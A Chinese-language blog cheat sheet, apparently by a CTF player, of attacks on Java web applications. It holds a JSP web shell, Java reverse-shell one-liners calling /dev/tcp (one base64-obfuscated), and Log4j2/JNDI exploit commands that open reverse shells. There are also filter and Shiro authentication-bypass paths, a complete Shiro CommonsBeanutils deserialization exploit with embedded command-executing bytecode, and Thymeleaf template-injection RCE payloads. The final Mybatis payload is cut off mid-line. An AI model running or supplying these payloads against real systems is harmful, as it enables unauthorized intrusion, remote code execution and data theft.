Java绕过

2020-11-14 web Java, 绕过 ∞ 评论

常用

文件结构

Tomcat

WEB-INF 是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件，必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中，如 /WEB-INF/classes/com/wm/ctf/FlagController.class

/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/：源码目录，按照包名结构放置各个java文件

/WEB-INF/database.properties：数据库配置文件

JSP一句话

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

反弹shell

// 命令执行基本代码
Runtime r = Runtime.getRuntime();
Process p = r.exec(...);
p.waitFor();

// 多参数
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});

// 单参数
Process p = r.exec("bash -c bash${IFS}-i${IFS}>&/dev/tcp/ip/port<&1");
Process p = r.exec("bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1");
Process p = r.exec("bash -c $*|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1");
Process p = r.exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

java命令执行payloads

绕过

filter权限

常见的实现方式，在不调用Spring Security、Shiro等权限控制组件的情况下，会使用Filter获取请求路径，进行校验。

../：/system/login/../../login/main.do

URL截断：/login/main.do;123

多 /：//system/main.do

URL编码：/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f

参考：

Java安全之Filter权限绕过

fastjson

参考：

https://github.com/safe6Sec/Fastjson

fastjson小于1.2.68全漏洞RCE利用exp

JNDI注入

JNDIExp

在VPS上启动工具,利用时讲ip替换为实际VPS的IP地址。
${jndi:ldap://127.0.0.1:1389/basic/${java:version}}
使用 ${java:version} 获取到目标服务器上的java版本（仅仅适用于Log4j2漏洞利用，fastjson等其他漏洞可以跳过此步骤）

JDK版本小于11.0.1, 8u191, 7u201, 6u211版本，可以直接使用basic模块

ldap://0.0.0.0:1389/basic/cmd  (无回显，需要进行url编码)
ldap://0.0.0.0:1389/basic/base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port](反弹shell)
ldap://0.0.0.0:1389/basic/ReverseShell2/[ip]/[port]
ldap://0.0.0.0:1389/basic/memshell/[memshellType]（内存马）

JDK版本大于11.0.1, 8u191, 7u201, 6u211时，需要尝试使用利用链绕过，可以使用${jndi:ldap://127.0.0.1:1389/fuzzbyDNS/[domain]} 利用dnslog去判断哪些利用链可以进行利用（只需要发送一次请求）

（反序列化链存在版本区别serialVersionUID会改变，通过dns请求可知目标可以使用el、groovy、BeanShell1反序列化、CC3.2.1反序列化、CB192等等利用模块）

选择其中一个利用链进行利用。

CVE

CVE-2021-44228 (log4j2 rce)

welk1n/JNDI-Injection-Exploit

服务端：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,x}(x: 'bash -i >& /dev/tcp/ip/port 0>&1' encoded with base64)|{base64,-d}|{bash,-i}" -A <server_ip>:<listen_port>

注入 jndi，触发报错日志记录：

${jndi:rmi://<server_ip>:<rmi_port>/<ramdom_rmi_route>}

log4j2 远程加载 Class 类反弹 Shell。

Shiro

未授权访问

<1.5.2
Shiro框架通过拦截器功能来对用户访问权限进行控制，如anon, authc等拦截器。anon为匿名拦截器，不需要登录即可访问；authc为登录拦截器，需要登录才可以访问。
/;/admin 或 /xxx/...;/admin
/;/actuator/heapdump 下载dump，使用visualvm分析，得到shiro的加密密钥

反序列化

通用

打cb1

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutilsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
//        TemplatesImpl obj = new TemplatesImpl();
//        setFieldValue(obj, "_bytecodes", new byte[][]{
//                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
//        });
//        setFieldValue(obj, "_name", "HelloTemplatesImpl");
//        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAuQoALwBfCgBgAGEKAGAAYggAYwoAZABlCABmBwBnCgAHAGgHAGkKAGoAawgAbAgAbQgAbggAbwgATQoABwBwCABxCABOBwByCgBqAHMIAFAIAHQKAHUAdgoAEwB3CAB4CgATAHkIAHoIAHsKABMAfAgAfQgAfggAfwgAgAoACQCBCACCBwCDCgCEAIUKAIQAhgoAhwCICgAkAIkIAIoKACQAiwoAJACMCACNCACOBwCPBwCQAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMcm9tZS9TcHJpbmdFdmlsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwCRAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAA1TdGFja01hcFRhYmxlBwCPBwBnBwCSBwBpBwByBwBTBwCTAQAKU291cmNlRmlsZQEAD1NwcmluZ0V2aWwuamF2YQwAQgBDBwCUDACVAJYMAJcAmAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcgcAmQwAmgCbAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAA9qYXZhL2xhbmcvQ2xhc3MMAJwAnQEAEGphdmEvbGFuZy9PYmplY3QHAJIMAJ4AnwEAQG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBAAtnZXRSZXNwb25zZQEACmdldFJlcXVlc3QBAB1qYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdAEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogEAB29zLm5hbWUHAKMMAKQApQwApgCnAQAGd2luZG93DACoAKkBAANHQksBAAVVVEYtOAwAqgCnAQADV0lOAQACL2MBAAcvYmluL3NoAQACLWMMAKsArAEAB3ByaW50bG4BABFqYXZhL3V0aWwvU2Nhbm5lcgcArQwArgCvDACwALEHALIMALMAtAwAQgC1AQACXEEMALYAtwwAuACnAQAFZmx1c2gBAAVjbG9zZQEAD3JvbWUvU3ByaW5nRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC3RvVXBwZXJDYXNlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0ACEALgAvAAAAAAADAAEAMAAxAAIAMgAAAD8AAAADAAAAAbEAAAACADMAAAAGAAEAAAAWADQAAAAgAAMAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAOQA6AAIAOwAAAAQAAQA8AAEAMAA9AAIAMgAAAEkAAAAEAAAAAbEAAAACADMAAAAGAAEAAAAbADQAAAAqAAQAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAPgA/AAIAAAABAEAAQQADADsAAAAEAAEAPAABAEIAQwACADIAAALDAAkADQAAAXsqtwABuAACtgADEgS2AAVMKxIGA70AB7YACE0sAQO9AAm2AApOuAACtgADEgu2AAVMKxIMA70AB7YACE0rEg0DvQAHtgAIOgQsLQO9AAm2AAo6BRkELQO9AAm2AAo6BrgAArYAAxIOtgAFEg8DvQAHtgAQOge4AAK2AAMSEbYABRISBL0AB1kDEhNTtgAQOggZCAS2ABQZBwS2ABQZBxkFA70ACbYACjoJGQgZBgS9AAlZAxIVU7YACsAAEzoKBr0AEzoLEha4ABe2ABgSGbYAGpkACBIbpwAFEhw6DBIWuAAXtgAdEh62ABqZABIZCwMSFVMZCwQSH1OnAA8ZCwMSIFMZCwQSIVMZCwUZClMZCbYAIhIjBL0AB1kDEhNTtgAQGQkEvQAJWQO7ACRZuAAlGQu2ACa2ACcZDLcAKBIptgAqtgArU7YAClcZCbYAIhIsA70AB7YAEBkJA70ACbYAClcZCbYAIhItA70AB7YAEBkJA70ACbYAClexAAAAAwAzAAAAbgAbAAAAHAAEAB0AEAAeABsAHwAlACAAMQAhADwAIgBIACMAUwAkAF8AJQB1ACYAkAAnAJYAKACcACkAqQAqAL4AKwDEACwA3QAtAO0ALgDzAC8A/AAxAQIAMgEIADQBDgA1AUoANgFiADcBegA4ADQAAACEAA0AAAF7ADUANgAAABABawBEAEUAAQAbAWAARgBHAAIAJQFWAEgASQADAEgBMwBKAEcABABTASgASwBJAAUAXwEcAEwASQAGAHUBBgBNAEcABwCQAOsATgBHAAgAqQDSAE8ASQAJAL4AvQBQAFEACgDEALcAUgBTAAsA3QCeAFQAUQAMAFUAAAA4AAT/ANkADAcAVgcAVwcAWAcAWQcAWAcAWQcAWQcAWAcAWAcAWQcAWgcAWwAAQQcAWvwAIAcAWgsAOwAAAAQAAQBcAAEAXQAAAAIAXg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        byte[] expcode = Base64.getEncoder().encode(barr.toByteArray());
        System.out.println(new String(expcode));
    }
}

<=1.2.4
检测工具：
https://github.com/sv3nbeast/ShiroScan
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases

Springboot actuator

Springboot actuator配置不当导致API安全问题。

API扫描工具：APIKit

/actuator/autoconfig 应用的自动化配置报告
/actuator/heapdump 应用实时的JVM堆信息（结合JDumpSpider获取内容）
/actuator/beans 应用上下文创建的所有 Bean
/actuator/configprops 应用中配置的属性信息报告
/actuator/env 环境属性报告
/actuator/mappings SpringMVC 的控制器映射关系报告
/actuator/info 自定义的配置信息
/actuator/metrics 当前应用的各类重要度量指标
/actuator/health 应用的各类健康指标信息
/actuator/threaddump 用来暴露程序运行中的线程信息
/actuator/httptrace 显示HTTP跟踪信息（默认显示最后100个HTTP请求）
/actuator/scheduledtasks 计划任务

/actuator/jolokia JMX-HTTP桥接器（XXE-SSRF）

参考：Spring Boot Actuator 未授权的测试与利用思路

Thymeleaf

Thymeleaf模板注入

1
2
3

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Thread).sleep(10000)}__::...
  __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...

参考：

Java安全之Thymeleaf 模板注入分析

Mybatis

mybatis 的 SQL 映射支持使用 OGNL 表达式， VoteProvider 直接使用字符串拼接来生成 SQL 语句，如果错误地把用户输入拼接进去，不仅会发生 SQL 注入，还会引发 OGNL 注入。

OGNL表达式注入RCE：

`/vote/getDetailedVoteById?vid=3) union select null,”$

Lazzaro

CTF弱鸡自进阶